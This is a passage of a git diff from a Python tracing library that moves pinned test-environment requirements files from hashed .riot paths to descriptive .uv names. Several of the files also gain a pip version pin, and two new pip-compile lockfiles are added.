b/.uv/contrib-urllib3--urllib3-py39-urllib3-latest-urllib3.txt @@ -0,0 +1,28 @@ +# +# This file is autogenerated by pip-compile with Python 3.9 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/118f9a8.in +# +attrs==26.1.0 +coverage[toml]==7.10.7 +exceptiongroup==1.3.1 +execnet==2.1.2 +hypothesis==6.45.0 +importlib-metadata==8.7.1 +iniconfig==2.1.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==8.4.2 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.0.1 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +tomli==2.4.1 +typing-extensions==4.15.0 +urllib3==2.6.3 +zipp==3.23.1 diff --git a/.riot/requirements/dd68acc.txt b/.uv/contrib-valkey--valkey-py310.txt similarity index 100% rename from .riot/requirements/dd68acc.txt rename to .uv/contrib-valkey--valkey-py310.txt diff --git a/.riot/requirements/4aa2a2a.txt b/.uv/contrib-valkey--valkey-py311.txt similarity index 100% rename from .riot/requirements/4aa2a2a.txt rename to .uv/contrib-valkey--valkey-py311.txt diff --git a/.riot/requirements/b96b665.txt b/.uv/contrib-valkey--valkey-py312.txt similarity index 100% rename from .riot/requirements/b96b665.txt rename to .uv/contrib-valkey--valkey-py312.txt diff --git a/.riot/requirements/7219cf4.txt b/.uv/contrib-valkey--valkey-py313.txt similarity index 100% rename from .riot/requirements/7219cf4.txt rename to .uv/contrib-valkey--valkey-py313.txt diff --git a/.riot/requirements/460bcb3.txt b/.uv/contrib-valkey--valkey-py314.txt similarity index 100% rename from .riot/requirements/460bcb3.txt rename to .uv/contrib-valkey--valkey-py314.txt diff --git a/.riot/requirements/1e98e9b.txt b/.uv/contrib-valkey--valkey-py39.txt similarity index 100% rename from .riot/requirements/1e98e9b.txt rename to .uv/contrib-valkey--valkey-py39.txt diff --git a/.riot/requirements/25528b4.txt b/.uv/contrib-vertica--vertica-py39-vertica-python-gte-0-6-0-lt-0-7-0.txt similarity index 100% rename from .riot/requirements/25528b4.txt rename to .uv/contrib-vertica--vertica-py39-vertica-python-gte-0-6-0-lt-0-7-0.txt diff --git a/.riot/requirements/1fb1413.txt b/.uv/contrib-vertica--vertica-py39-vertica-python-gte-0-7-0-lt-0-8-0.txt similarity index 100% rename from .riot/requirements/1fb1413.txt rename to .uv/contrib-vertica--vertica-py39-vertica-python-gte-0-7-0-lt-0-8-0.txt diff --git a/.riot/requirements/1475020.txt b/.uv/contrib-wsgi--wsgi-py310.txt similarity index 100% rename from .riot/requirements/1475020.txt rename to .uv/contrib-wsgi--wsgi-py310.txt diff --git a/.riot/requirements/1994bde.txt b/.uv/contrib-wsgi--wsgi-py311.txt similarity index 100% rename from .riot/requirements/1994bde.txt rename to .uv/contrib-wsgi--wsgi-py311.txt diff --git a/.riot/requirements/17efeae.txt b/.uv/contrib-wsgi--wsgi-py312.txt similarity index 100% rename from .riot/requirements/17efeae.txt rename to .uv/contrib-wsgi--wsgi-py312.txt diff --git a/.riot/requirements/5ec239b.txt b/.uv/contrib-wsgi--wsgi-py313.txt similarity index 100% rename from .riot/requirements/5ec239b.txt rename to .uv/contrib-wsgi--wsgi-py313.txt diff --git a/.riot/requirements/7365790.txt b/.uv/contrib-wsgi--wsgi-py314.txt similarity index 100% rename from .riot/requirements/7365790.txt rename to .uv/contrib-wsgi--wsgi-py314.txt diff --git a/.riot/requirements/13873ec.txt b/.uv/contrib-wsgi--wsgi-py39.txt similarity index 100% rename from .riot/requirements/13873ec.txt rename to .uv/contrib-wsgi--wsgi-py39.txt diff --git a/.riot/requirements/6ceadae.txt b/.uv/contrib-yaaredis--yaaredis-py310-yaaredis-latest.txt similarity index 100% rename from .riot/requirements/6ceadae.txt rename to .uv/contrib-yaaredis--yaaredis-py310-yaaredis-latest.txt diff --git a/.riot/requirements/153fe56.txt b/.uv/contrib-yaaredis--yaaredis-py39-yaaredis-2-0-0-yaaredis.txt similarity index 100% rename from .riot/requirements/153fe56.txt rename to .uv/contrib-yaaredis--yaaredis-py39-yaaredis-2-0-0-yaaredis.txt diff --git a/.riot/requirements/1e3f661.txt b/.uv/contrib-yaaredis--yaaredis-py39-yaaredis-latest-yaaredis.txt similarity index 100% rename from .riot/requirements/1e3f661.txt rename to .uv/contrib-yaaredis--yaaredis-py39-yaaredis-latest-yaaredis.txt diff --git a/.riot/requirements/5ea1f55.txt b/.uv/crashtracker--crashtracker-py310.txt similarity index 100% rename from .riot/requirements/5ea1f55.txt rename to .uv/crashtracker--crashtracker-py310.txt diff --git a/.riot/requirements/450acd3.txt b/.uv/crashtracker--crashtracker-py311.txt similarity index 100% rename from .riot/requirements/450acd3.txt rename to .uv/crashtracker--crashtracker-py311.txt diff --git a/.riot/requirements/1f467b3.txt b/.uv/crashtracker--crashtracker-py312.txt similarity index 100% rename from .riot/requirements/1f467b3.txt rename to .uv/crashtracker--crashtracker-py312.txt diff --git a/.riot/requirements/1ef26c5.txt b/.uv/crashtracker--crashtracker-py313.txt similarity index 100% rename from .riot/requirements/1ef26c5.txt rename to .uv/crashtracker--crashtracker-py313.txt diff --git a/.riot/requirements/1ec79db.txt b/.uv/crashtracker--crashtracker-py314.txt similarity index 100% rename from .riot/requirements/1ec79db.txt rename to .uv/crashtracker--crashtracker-py314.txt diff --git a/.riot/requirements/1948b78.txt b/.uv/crashtracker--crashtracker-py39.txt similarity index 100% rename from .riot/requirements/1948b78.txt rename to .uv/crashtracker--crashtracker-py39.txt diff --git a/.riot/requirements/16c1c69.txt b/.uv/ddtracerun--ddtracerun-py310.txt similarity index 100% rename from .riot/requirements/16c1c69.txt rename to .uv/ddtracerun--ddtracerun-py310.txt diff --git a/.riot/requirements/17148ee.txt b/.uv/ddtracerun--ddtracerun-py311.txt similarity index 100% rename from .riot/requirements/17148ee.txt rename to .uv/ddtracerun--ddtracerun-py311.txt diff --git a/.riot/requirements/f65661f.txt b/.uv/ddtracerun--ddtracerun-py312.txt similarity index 100% rename from .riot/requirements/f65661f.txt rename to .uv/ddtracerun--ddtracerun-py312.txt diff --git a/.riot/requirements/afc1791.txt b/.uv/ddtracerun--ddtracerun-py313.txt similarity index 100% rename from .riot/requirements/afc1791.txt rename to .uv/ddtracerun--ddtracerun-py313.txt diff --git a/.riot/requirements/1441a01.txt b/.uv/ddtracerun--ddtracerun-py314.txt similarity index 100% rename from .riot/requirements/1441a01.txt rename to .uv/ddtracerun--ddtracerun-py314.txt diff --git a/.riot/requirements/ee0b75a.txt b/.uv/ddtracerun--ddtracerun-py39.txt similarity index 100% rename from .riot/requirements/ee0b75a.txt rename to .uv/ddtracerun--ddtracerun-py39.txt diff --git a/.riot/requirements/114620d.txt b/.uv/debugging-debugger--debugger-py310.txt similarity index 100% rename from .riot/requirements/114620d.txt rename to .uv/debugging-debugger--debugger-py310.txt diff --git a/.riot/requirements/6f9b709.txt b/.uv/debugging-debugger--debugger-py311.txt similarity index 100% rename from .riot/requirements/6f9b709.txt rename to .uv/debugging-debugger--debugger-py311.txt diff --git a/.riot/requirements/2fc0d7a.txt b/.uv/debugging-debugger--debugger-py312.txt similarity index 100% rename from .riot/requirements/2fc0d7a.txt rename to .uv/debugging-debugger--debugger-py312.txt diff --git a/.riot/requirements/49f68b3.txt b/.uv/debugging-debugger--debugger-py313.txt similarity index 100% rename from .riot/requirements/49f68b3.txt rename to .uv/debugging-debugger--debugger-py313.txt diff --git a/.riot/requirements/7a22fd3.txt b/.uv/debugging-debugger--debugger-py314.txt similarity index 100% rename from .riot/requirements/7a22fd3.txt rename to .uv/debugging-debugger--debugger-py314.txt diff --git a/.riot/requirements/32280c2.txt b/.uv/debugging-debugger--debugger-py39.txt similarity index 100% rename from .riot/requirements/32280c2.txt rename to .uv/debugging-debugger--debugger-py39.txt diff --git a/.riot/requirements/4487fa7.txt b/.uv/detect-global-locks--detect-global-locks-py310.txt similarity index 100% rename from .riot/requirements/4487fa7.txt rename to .uv/detect-global-locks--detect-global-locks-py310.txt diff --git a/.riot/requirements/1d41360.txt b/.uv/detect-global-locks--detect-global-locks-py311.txt similarity index 100% rename from .riot/requirements/1d41360.txt rename to .uv/detect-global-locks--detect-global-locks-py311.txt diff --git a/.riot/requirements/17b66d6.txt b/.uv/detect-global-locks--detect-global-locks-py312.txt similarity index 100% rename from .riot/requirements/17b66d6.txt rename to .uv/detect-global-locks--detect-global-locks-py312.txt diff --git a/.riot/requirements/c0d357f.txt b/.uv/detect-global-locks--detect-global-locks-py313.txt similarity index 100% rename from .riot/requirements/c0d357f.txt rename to .uv/detect-global-locks--detect-global-locks-py313.txt diff --git a/.riot/requirements/4a90061.txt b/.uv/detect-global-locks--detect-global-locks-py314.txt similarity index 100% rename from .riot/requirements/4a90061.txt rename to .uv/detect-global-locks--detect-global-locks-py314.txt diff --git a/.riot/requirements/1807b73.txt b/.uv/detect-global-locks--detect-global-locks-py39.txt similarity index 100% rename from .riot/requirements/1807b73.txt rename to .uv/detect-global-locks--detect-global-locks-py39.txt diff --git a/.riot/requirements/12113b3.txt b/.uv/errortracking-errortracker--errortracker-py310.txt similarity index 97% rename from .riot/requirements/12113b3.txt rename to .uv/errortracking-errortracker--errortracker-py310.txt index 162360787e6..397a4059bce 100644 --- a/.riot/requirements/12113b3.txt +++ b/.uv/errortracking-errortracker--errortracker-py310.txt @@ -18,6 +18,7 @@ markupsafe==3.0.2 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pytest==8.3.5 pytest-cov==6.1.1 diff --git a/.riot/requirements/1d46e6d.txt b/.uv/errortracking-errortracker--errortracker-py311.txt similarity index 97% rename from .riot/requirements/1d46e6d.txt rename to .uv/errortracking-errortracker--errortracker-py311.txt index fb86ac2b4d8..6eef4b68e82 100644 --- a/.riot/requirements/1d46e6d.txt +++ b/.uv/errortracking-errortracker--errortracker-py311.txt @@ -17,6 +17,7 @@ markupsafe==3.0.2 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pytest==8.3.5 pytest-cov==6.1.1 diff --git a/.riot/requirements/f343cca.txt b/.uv/errortracking-errortracker--errortracker-py312.txt similarity index 97% rename from .riot/requirements/f343cca.txt rename to .uv/errortracking-errortracker--errortracker-py312.txt index 5f5377797e0..b2040322661 100644 --- a/.riot/requirements/f343cca.txt +++ b/.uv/errortracking-errortracker--errortracker-py312.txt @@ -17,6 +17,7 @@ markupsafe==3.0.2 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pytest==8.3.5 pytest-cov==6.1.1 diff --git a/.riot/requirements/1c414f2.txt b/.uv/errortracking-errortracker--errortracker-py313.txt similarity index 97% rename from .riot/requirements/1c414f2.txt rename to .uv/errortracking-errortracker--errortracker-py313.txt index ace15439d97..a50d4818bba 100644 --- a/.riot/requirements/1c414f2.txt +++ b/.uv/errortracking-errortracker--errortracker-py313.txt @@ -17,6 +17,7 @@ markupsafe==3.0.2 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pytest==8.3.5 pytest-cov==6.1.1 diff --git a/.riot/requirements/7d96f3b.txt b/.uv/errortracking-errortracker--errortracker-py314.txt similarity index 97% rename from .riot/requirements/7d96f3b.txt rename to .uv/errortracking-errortracker--errortracker-py314.txt index 8c194f509ed..5b51189f3dc 100644 --- a/.riot/requirements/7d96f3b.txt +++ b/.uv/errortracking-errortracker--errortracker-py314.txt @@ -17,6 +17,7 @@ markupsafe==3.0.2 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pygments==2.19.2 pytest==8.4.1 diff --git a/.riot/requirements/26054ba.txt b/.uv/integration-agent--integration-latest-civisibility-py310-integration-latest-civisibility.txt similarity index 100% rename from .riot/requirements/26054ba.txt rename to .uv/integration-agent--integration-latest-civisibility-py310-integration-latest-civisibility.txt diff --git a/.riot/requirements/1f861b6.txt b/.uv/integration-agent--integration-latest-civisibility-py311-integration-latest-civisibility.txt similarity index 100% rename from .riot/requirements/1f861b6.txt rename to .uv/integration-agent--integration-latest-civisibility-py311-integration-latest-civisibility.txt diff --git a/.riot/requirements/1b3d47d.txt b/.uv/integration-agent--integration-latest-civisibility-py312-integration-latest-civisibility.txt similarity index 100% rename from .riot/requirements/1b3d47d.txt rename to .uv/integration-agent--integration-latest-civisibility-py312-integration-latest-civisibility.txt diff --git a/.riot/requirements/ddd8721.txt b/.uv/integration-agent--integration-latest-civisibility-py313-integration-latest-civisibility.txt similarity index 100% rename from .riot/requirements/ddd8721.txt rename to .uv/integration-agent--integration-latest-civisibility-py313-integration-latest-civisibility.txt diff --git a/.riot/requirements/f98475b.txt b/.uv/integration-agent--integration-latest-civisibility-py314-integration-latest-civisibility.txt similarity index 100% rename from .riot/requirements/f98475b.txt rename to .uv/integration-agent--integration-latest-civisibility-py314-integration-latest-civisibility.txt diff --git a/.riot/requirements/1a8c53c.txt b/.uv/integration-agent--integration-latest-civisibility-py39-integration-latest-civisibility.txt similarity index 100% rename from .riot/requirements/1a8c53c.txt rename to .uv/integration-agent--integration-latest-civisibility-py39-integration-latest-civisibility.txt diff --git a/.riot/requirements/1185b58.txt b/.uv/integration-agent--integration-latest-py310-integration-latest.txt similarity index 100% rename from .riot/requirements/1185b58.txt rename to .uv/integration-agent--integration-latest-py310-integration-latest.txt diff --git a/.riot/requirements/1ce53fb.txt b/.uv/integration-agent--integration-latest-py311-integration-latest.txt similarity index 100% rename from .riot/requirements/1ce53fb.txt rename to .uv/integration-agent--integration-latest-py311-integration-latest.txt diff --git a/.riot/requirements/119431a.txt b/.uv/integration-agent--integration-latest-py312-integration-latest.txt similarity index 100% rename from .riot/requirements/119431a.txt rename to .uv/integration-agent--integration-latest-py312-integration-latest.txt diff --git a/.riot/requirements/2d6c3d0.txt b/.uv/integration-agent--integration-latest-py313-integration-latest.txt similarity index 100% rename from .riot/requirements/2d6c3d0.txt rename to .uv/integration-agent--integration-latest-py313-integration-latest.txt diff --git a/.riot/requirements/a85d3e6.txt b/.uv/integration-agent--integration-latest-py314-integration-latest.txt similarity index 100% rename from .riot/requirements/a85d3e6.txt rename to .uv/integration-agent--integration-latest-py314-integration-latest.txt diff --git a/.riot/requirements/1418434.txt b/.uv/integration-agent--integration-latest-py39-integration-latest.txt similarity index 100% rename from .riot/requirements/1418434.txt rename to .uv/integration-agent--integration-latest-py39-integration-latest.txt diff --git a/.uv/integration-registry--integration-registry-py313.txt b/.uv/integration-registry--integration-registry-py313.txt new file mode 100644 index 00000000000..3bbfc5b5448 --- /dev/null +++ b/.uv/integration-registry--integration-registry-py313.txt @@ -0,0 +1,42 @@ +# +# This file is autogenerated by pip-compile with Python 3.13 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/2e9f3b5.in +# +attrs==26.1.0 +click==8.4.0 +coverage[toml]==7.14.0 +distlib==0.4.0 +filelock==3.29.0 +hypothesis==6.45.0 +iniconfig==2.3.0 +jsonschema==4.26.0 +jsonschema-specifications==2025.9.1 +markdown-it-py==4.2.0 +mdurl==0.1.2 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pexpect==4.9.0 +pip==26.2.1 +platformdirs==4.9.6 +pluggy==1.6.0 +ptyprocess==0.7.0 +pygments==2.20.0 +pytest==8.4.2 +pytest-asyncio==0.23.7 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pyyaml==6.0.3 +referencing==0.37.0 +rich==15.0.0 +riot==0.22.0 +rpds-py==0.30.0 +ruamel.yaml==0.18.6 +sortedcontainers==2.4.0 +virtualenv==20.39.1 + +# The following packages are considered to be unsafe in a requirements file: +setuptools==82.0.1 diff --git a/.riot/requirements/1f18ea8.txt b/.uv/integration-testagent--integration-snapshot-civisibility-py310-integration-snapshot-civisibility.txt similarity index 100% rename from .riot/requirements/1f18ea8.txt rename to .uv/integration-testagent--integration-snapshot-civisibility-py310-integration-snapshot-civisibility.txt diff --git a/.riot/requirements/372b57b.txt b/.uv/integration-testagent--integration-snapshot-civisibility-py311-integration-snapshot-civisibility.txt similarity index 100% rename from .riot/requirements/372b57b.txt rename to .uv/integration-testagent--integration-snapshot-civisibility-py311-integration-snapshot-civisibility.txt diff --git a/.riot/requirements/1ea5080.txt b/.uv/integration-testagent--integration-snapshot-civisibility-py312-integration-snapshot-civisibility.txt similarity index 100% rename from .riot/requirements/1ea5080.txt rename to .uv/integration-testagent--integration-snapshot-civisibility-py312-integration-snapshot-civisibility.txt diff --git a/.riot/requirements/e20152c.txt b/.uv/integration-testagent--integration-snapshot-civisibility-py313-integration-snapshot-civisibility.txt similarity index 100% rename from .riot/requirements/e20152c.txt rename to .uv/integration-testagent--integration-snapshot-civisibility-py313-integration-snapshot-civisibility.txt diff --git a/.riot/requirements/ffc7e44.txt b/.uv/integration-testagent--integration-snapshot-civisibility-py314-integration-snapshot-civisibility.txt similarity index 100% rename from .riot/requirements/ffc7e44.txt rename to .uv/integration-testagent--integration-snapshot-civisibility-py314-integration-snapshot-civisibility.txt diff --git a/.riot/requirements/1a06176.txt b/.uv/integration-testagent--integration-snapshot-civisibility-py39-integration-snapshot-civisibility.txt similarity index 100% rename from .riot/requirements/1a06176.txt rename to .uv/integration-testagent--integration-snapshot-civisibility-py39-integration-snapshot-civisibility.txt diff --git a/.riot/requirements/15b58f8.txt b/.uv/integration-testagent--integration-snapshot-py310-integration-snapshot.txt similarity index 100% rename from .riot/requirements/15b58f8.txt rename to .uv/integration-testagent--integration-snapshot-py310-integration-snapshot.txt diff --git a/.riot/requirements/60ad98e.txt b/.uv/integration-testagent--integration-snapshot-py311-integration-snapshot.txt similarity index 100% rename from .riot/requirements/60ad98e.txt rename to .uv/integration-testagent--integration-snapshot-py311-integration-snapshot.txt diff --git a/.riot/requirements/1eb408a.txt b/.uv/integration-testagent--integration-snapshot-py312-integration-snapshot.txt similarity index 100% rename from .riot/requirements/1eb408a.txt rename to .uv/integration-testagent--integration-snapshot-py312-integration-snapshot.txt diff --git a/.riot/requirements/df7a937.txt b/.uv/integration-testagent--integration-snapshot-py313-integration-snapshot.txt similarity index 100% rename from .riot/requirements/df7a937.txt rename to .uv/integration-testagent--integration-snapshot-py313-integration-snapshot.txt diff --git a/.riot/requirements/1110d0c.txt b/.uv/integration-testagent--integration-snapshot-py314-integration-snapshot.txt similarity index 100% rename from .riot/requirements/1110d0c.txt rename to .uv/integration-testagent--integration-snapshot-py314-integration-snapshot.txt diff --git a/.riot/requirements/eb94001.txt b/.uv/integration-testagent--integration-snapshot-py39-integration-snapshot.txt similarity index 100% rename from .riot/requirements/eb94001.txt rename to .uv/integration-testagent--integration-snapshot-py39-integration-snapshot.txt diff --git a/.riot/requirements/19c6982.txt b/.uv/internal--internal-py310-wrapt-1.txt similarity index 100% rename from .riot/requirements/19c6982.txt rename to .uv/internal--internal-py310-wrapt-1.txt diff --git a/.riot/requirements/4f70b3c.txt b/.uv/internal--internal-py310-wrapt-latest.txt similarity index 100% rename from .riot/requirements/4f70b3c.txt rename to .uv/internal--internal-py310-wrapt-latest.txt diff --git a/.riot/requirements/180731e.txt b/.uv/internal--internal-py311-wrapt-1.txt similarity index 100% rename from .riot/requirements/180731e.txt rename to .uv/internal--internal-py311-wrapt-1.txt diff --git a/.riot/requirements/116989a.txt b/.uv/internal--internal-py311-wrapt-latest.txt similarity index 100% rename from .riot/requirements/116989a.txt rename to .uv/internal--internal-py311-wrapt-latest.txt diff --git a/.riot/requirements/584adc8.txt b/.uv/internal--internal-py312-wrapt-1.txt similarity index 100% rename from .riot/requirements/584adc8.txt rename to .uv/internal--internal-py312-wrapt-1.txt diff --git a/.riot/requirements/12c5734.txt b/.uv/internal--internal-py312-wrapt-latest.txt similarity index 100% rename from .riot/requirements/12c5734.txt rename to .uv/internal--internal-py312-wrapt-latest.txt diff --git a/.riot/requirements/1c8641e.txt b/.uv/internal--internal-py313-wrapt-1.txt similarity index 100% rename from .riot/requirements/1c8641e.txt rename to .uv/internal--internal-py313-wrapt-1.txt diff --git a/.riot/requirements/1cdebe0.txt b/.uv/internal--internal-py313-wrapt-latest.txt similarity index 100% rename from .riot/requirements/1cdebe0.txt rename to .uv/internal--internal-py313-wrapt-latest.txt diff --git a/.riot/requirements/a38c704.txt b/.uv/internal--internal-py314-wrapt-1.txt similarity index 100% rename from .riot/requirements/a38c704.txt rename to .uv/internal--internal-py314-wrapt-1.txt diff --git a/.riot/requirements/a2a2e2e.txt b/.uv/internal--internal-py314-wrapt-latest.txt similarity index 100% rename from .riot/requirements/a2a2e2e.txt rename to .uv/internal--internal-py314-wrapt-latest.txt diff --git a/.riot/requirements/94be3f5.txt b/.uv/internal--internal-py39-wrapt-1.txt similarity index 100% rename from .riot/requirements/94be3f5.txt rename to .uv/internal--internal-py39-wrapt-1.txt diff --git a/.riot/requirements/149304f.txt b/.uv/internal--internal-py39-wrapt-latest.txt similarity index 100% rename from .riot/requirements/149304f.txt rename to .uv/internal--internal-py39-wrapt-latest.txt diff --git a/.riot/requirements/1db410d.txt b/.uv/lib-injection--lib-injection-py310.txt similarity index 97% rename from .riot/requirements/1db410d.txt rename to .uv/lib-injection--lib-injection-py310.txt index 4c3491260a3..f996bf4d814 100644 --- a/.riot/requirements/1db410d.txt +++ b/.uv/lib-injection--lib-injection-py310.txt @@ -12,6 +12,7 @@ iniconfig==2.1.0 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pygments==2.19.1 pytest==8.4.0 diff --git a/.riot/requirements/517236e.txt b/.uv/lib-injection--lib-injection-py311.txt similarity index 97% rename from .riot/requirements/517236e.txt rename to .uv/lib-injection--lib-injection-py311.txt index 4adc68b4246..87e13d76cba 100644 --- a/.riot/requirements/517236e.txt +++ b/.uv/lib-injection--lib-injection-py311.txt @@ -11,6 +11,7 @@ iniconfig==2.1.0 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pygments==2.19.1 pytest==8.4.0 diff --git a/.riot/requirements/2e4f80d.txt b/.uv/lib-injection--lib-injection-py312.txt similarity index 97% rename from .riot/requirements/2e4f80d.txt rename to .uv/lib-injection--lib-injection-py312.txt index 2a5f92a8cf4..7ac5bee6b52 100644 --- a/.riot/requirements/2e4f80d.txt +++ b/.uv/lib-injection--lib-injection-py312.txt @@ -11,6 +11,7 @@ iniconfig==2.1.0 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pygments==2.19.1 pytest==8.4.0 diff --git a/.riot/requirements/14e26cb.txt b/.uv/lib-injection--lib-injection-py313.txt similarity index 97% rename from .riot/requirements/14e26cb.txt rename to .uv/lib-injection--lib-injection-py313.txt index 75b4761f9f6..71ff7c2abff 100644 --- a/.riot/requirements/14e26cb.txt +++ b/.uv/lib-injection--lib-injection-py313.txt @@ -11,6 +11,7 @@ iniconfig==2.1.0 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pygments==2.19.1 pytest==8.4.0 diff --git a/.riot/requirements/1c11c55.txt b/.uv/lib-injection--lib-injection-py314.txt similarity index 97% rename from .riot/requirements/1c11c55.txt rename to .uv/lib-injection--lib-injection-py314.txt index 67627849ca5..cbcece77912 100644 --- a/.riot/requirements/1c11c55.txt +++ b/.uv/lib-injection--lib-injection-py314.txt @@ -11,6 +11,7 @@ iniconfig==2.3.0 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.2.1 pluggy==1.6.0 pygments==2.19.2 pytest==9.0.2 diff --git a/.riot/requirements/590286a.txt b/.uv/lib-injection--lib-injection-py39.txt similarity index 97% rename from .riot/requirements/590286a.txt rename to .uv/lib-injection--lib-injection-py39.txt index b0269478b26..d5d56e8585a 100644 --- a/.riot/requirements/590286a.txt +++ b/.uv/lib-injection--lib-injection-py39.txt @@ -13,6 +13,7 @@ iniconfig==2.1.0 mock==5.2.0 opentracing==2.4.0 packaging==25.0 +pip==26.0.1 pluggy==1.6.0 pygments==2.19.1 pytest==8.4.0 diff --git a/.riot/requirements/1f73abc.txt b/.uv/llmobs-anthropic--anthropic-py310-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/1f73abc.txt rename to .uv/llmobs-anthropic--anthropic-py310-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/12d6455.txt b/.uv/llmobs-anthropic--anthropic-py310-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/12d6455.txt rename to .uv/llmobs-anthropic--anthropic-py310-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/df250b9.txt b/.uv/llmobs-anthropic--anthropic-py311-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/df250b9.txt rename to .uv/llmobs-anthropic--anthropic-py311-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/2f01c64.txt b/.uv/llmobs-anthropic--anthropic-py311-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/2f01c64.txt rename to .uv/llmobs-anthropic--anthropic-py311-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/11c7793.txt b/.uv/llmobs-anthropic--anthropic-py312-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/11c7793.txt rename to .uv/llmobs-anthropic--anthropic-py312-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/f1c0963.txt b/.uv/llmobs-anthropic--anthropic-py312-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/f1c0963.txt rename to .uv/llmobs-anthropic--anthropic-py312-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/76c89e7.txt b/.uv/llmobs-anthropic--anthropic-py313-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/76c89e7.txt rename to .uv/llmobs-anthropic--anthropic-py313-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/18ab9e9.txt b/.uv/llmobs-anthropic--anthropic-py314-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/18ab9e9.txt rename to .uv/llmobs-anthropic--anthropic-py314-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/17a234c.txt b/.uv/llmobs-anthropic--anthropic-py39-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/17a234c.txt rename to .uv/llmobs-anthropic--anthropic-py39-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/d8af6dc.txt b/.uv/llmobs-anthropic--anthropic-py39-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/d8af6dc.txt rename to .uv/llmobs-anthropic--anthropic-py39-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/d6d5131.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-0-0-23.txt similarity index 100% rename from .riot/requirements/d6d5131.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-0-0-23.txt diff --git a/.riot/requirements/25a0b59.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-0-1-29.txt similarity index 100% rename from .riot/requirements/25a0b59.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-0-1-29.txt diff --git a/.riot/requirements/bc8e8c6.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-0-1-49.txt similarity index 100% rename from .riot/requirements/bc8e8c6.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-0-1-49.txt diff --git a/.riot/requirements/18941c9.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-latest.txt similarity index 100% rename from .riot/requirements/18941c9.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py310-claude-agent-sdk-latest.txt diff --git a/.riot/requirements/144e8b5.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-0-0-23.txt similarity index 100% rename from .riot/requirements/144e8b5.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-0-0-23.txt diff --git a/.riot/requirements/2246229.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-0-1-29.txt similarity index 100% rename from .riot/requirements/2246229.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-0-1-29.txt diff --git a/.riot/requirements/7e7fe30.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-0-1-49.txt similarity index 100% rename from .riot/requirements/7e7fe30.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-0-1-49.txt diff --git a/.riot/requirements/18dd95d.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-latest.txt similarity index 100% rename from .riot/requirements/18dd95d.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py311-claude-agent-sdk-latest.txt diff --git a/.riot/requirements/17ec3e0.txt b/.uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-0-0-23.txt similarity index 100% rename from .riot/requirements/17ec3e0.txt rename to .uv/llmobs-claude-agent-sdk--claude-agent-sdk-py312-claude-agent-sdk-0-0-23.txt diff 